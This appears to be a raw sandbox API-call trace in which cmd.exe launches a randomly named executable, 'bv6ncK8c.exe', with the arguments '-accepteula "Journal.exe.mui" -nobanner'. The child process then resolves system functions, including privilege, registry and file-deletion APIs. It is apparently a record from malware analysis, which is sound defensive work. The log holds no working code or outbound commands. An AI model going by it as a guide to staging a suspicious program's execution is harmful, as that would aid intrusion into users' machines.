(_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0123.954] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0123.955] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0123.956] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0123.957] GetProcessHeap () returned 0x390000 [0123.957] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x210) returned 0x3a2490 [0123.957] GetProcessHeap () returned 0x390000 [0123.957] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x74) returned 0x3a8fb8 [0123.957] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0123.957] GetProcessHeap () returned 0x390000 [0123.957] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x418) returned 0x3a26a8 [0123.957] SetErrorMode (uMode=0x0) returned 0x0 [0123.957] SetErrorMode (uMode=0x1) returned 0x0 [0123.958] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3a26b0, lpFilePart=0x1af168 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af168*="Desktop") returned 0x25 [0123.958] SetErrorMode (uMode=0x0) returned 0x1 [0123.958] GetProcessHeap () returned 0x390000 [0123.958] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3a26a8, Size=0x6e) returned 0x3a26a8 [0123.958] GetProcessHeap () returned 0x390000 [0123.958] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a26a8) returned 0x6e [0123.959] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0123.959] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0123.959] GetProcessHeap () returned 0x390000 [0123.960] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x120) returned 0x3a2720 [0123.960] GetProcessHeap () returned 0x390000 [0123.960] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x238) returned 0x3a2848 [0123.967] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0123.968] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x1aef04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aef04) returned 0x3a29f8 [0123.968] GetProcessHeap () returned 0x390000 [0123.968] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x0, Size=0x14) returned 0x3a2a38 [0123.968] FindClose (in: hFindFile=0x3a29f8 | out: hFindFile=0x3a29f8) returned 1 [0123.968] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0123.968] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0123.968] GetConsoleTitleW (in: lpConsoleTitle=0x1af3dc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0123.968] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af264, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af32c | out: lpAttributeList=0x1af264, lpSize=0x1af32c) returned 1 [0123.968] UpdateProcThreadAttribute (in: lpAttributeList=0x1af264, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af324, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af264, lpPreviousValue=0x0) returned 1 [0123.968] GetStartupInfoW (in: lpStartupInfo=0x1af220 | out: lpStartupInfo=0x1af220*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0123.969] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0123.970] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af2c0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af30c | out: lpCommandLine="bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner", lpProcessInformation=0x1af30c*(hProcess=0x78, hThread=0x74, dwProcessId=0xfc8, dwThreadId=0xfcc)) returned 1 [0123.982] CloseHandle (hObject=0x74) returned 1 [0123.982] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0123.982] GetProcessHeap () returned 0x390000 [0123.982] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a2d70 | out: hHeap=0x390000) returned 1 [0123.982] GetEnvironmentStringsW () returned 0x3a2c98* [0123.982] GetProcessHeap () returned 0x390000 [0123.982] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb86) returned 0x3aaf20 [0123.982] FreeEnvironmentStringsW (penv=0x3a2c98) returned 1 [0123.982] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0125.403] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1af200 | out: lpExitCode=0x1af200*=0x1) returned 1 [0125.403] CloseHandle (hObject=0x78) returned 1 [0125.404] _vsnwprintf (in: _Buffer=0x1af348, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af20c | out: _Buffer="00000001") returned 8 [0125.404] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0125.404] GetProcessHeap () returned 0x390000 [0125.404] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aaf20 | out: hHeap=0x390000) returned 1 [0125.404] GetEnvironmentStringsW () returned 0x3a2c98* [0125.404] GetProcessHeap () returned 0x390000 [0125.404] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb86) returned 0x3aaf20 [0125.404] FreeEnvironmentStringsW (penv=0x3a2c98) returned 1 [0125.404] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0125.404] GetProcessHeap () returned 0x390000 [0125.404] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aaf20 | out: hHeap=0x390000) returned 1 [0125.404] GetEnvironmentStringsW () returned 0x3a2c98* [0125.405] GetProcessHeap () returned 0x390000 [0125.405] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb86) returned 0x3aaf20 [0125.405] FreeEnvironmentStringsW (penv=0x3a2c98) returned 1 [0125.405] GetProcessHeap () returned 0x390000 [0125.405] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a00d0 | out: hHeap=0x390000) returned 1 [0125.405] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af264 | out: lpAttributeList=0x1af264) [0125.405] _get_osfhandle (_FileHandle=1) returned 0x80 [0125.405] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0125.405] _get_osfhandle (_FileHandle=1) returned 0x80 [0125.405] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0125.405] _get_osfhandle (_FileHandle=0) returned 0x3 [0125.405] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0125.405] SetConsoleInputExeNameW () returned 0x1 [0125.405] GetConsoleOutputCP () returned 0x1b5 [0125.406] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0125.406] SetThreadUILanguage (LangId=0x0) returned 0x409 [0125.406] exit (_Code=1) Process: id = "224" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x23b45000" os_pid = "0xfc8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "223" os_parent_pid = "0xfc0" cmd_line = "bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 825 os_tid = 0xfcc [0124.892] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0124.892] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0124.892] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0124.892] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0124.892] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0124.893] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0124.894] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0124.895] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0124.896] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0124.897] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0124.898] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0124.899] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0124.899] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0124.899] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0124.899] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0124.900] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0124.900] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0124.900] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0124.900] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0124.900] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0124.900] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0124.900] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0124.900] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0124.900] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0124.900] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0124.900] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0124.900] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0124.900] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0124.900] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0124.900] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0124.901] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0124.901] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0124.901] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0124.901] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74290000 [0124.901] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoW") returned 0x742919f4 [0124.901] GetProcAddress (hModule=0x74290000, lpProcName="VerQueryValueW") returned 0x74291b51 [0124.901] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoSizeW") returned 0x742919d9 [0124.901] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0124.901] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0124.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xede19380, dwHighDateTime=0x1d5d06a)) [0124.902] GetCurrentThreadId () returned 0xfcc [0124.902] GetCurrentProcessId () returned 0xfc8 [0124.902] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=26685649843) returned 1 [0124.904] GetProcessHeap () returned 0x560000 [0124.905] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b 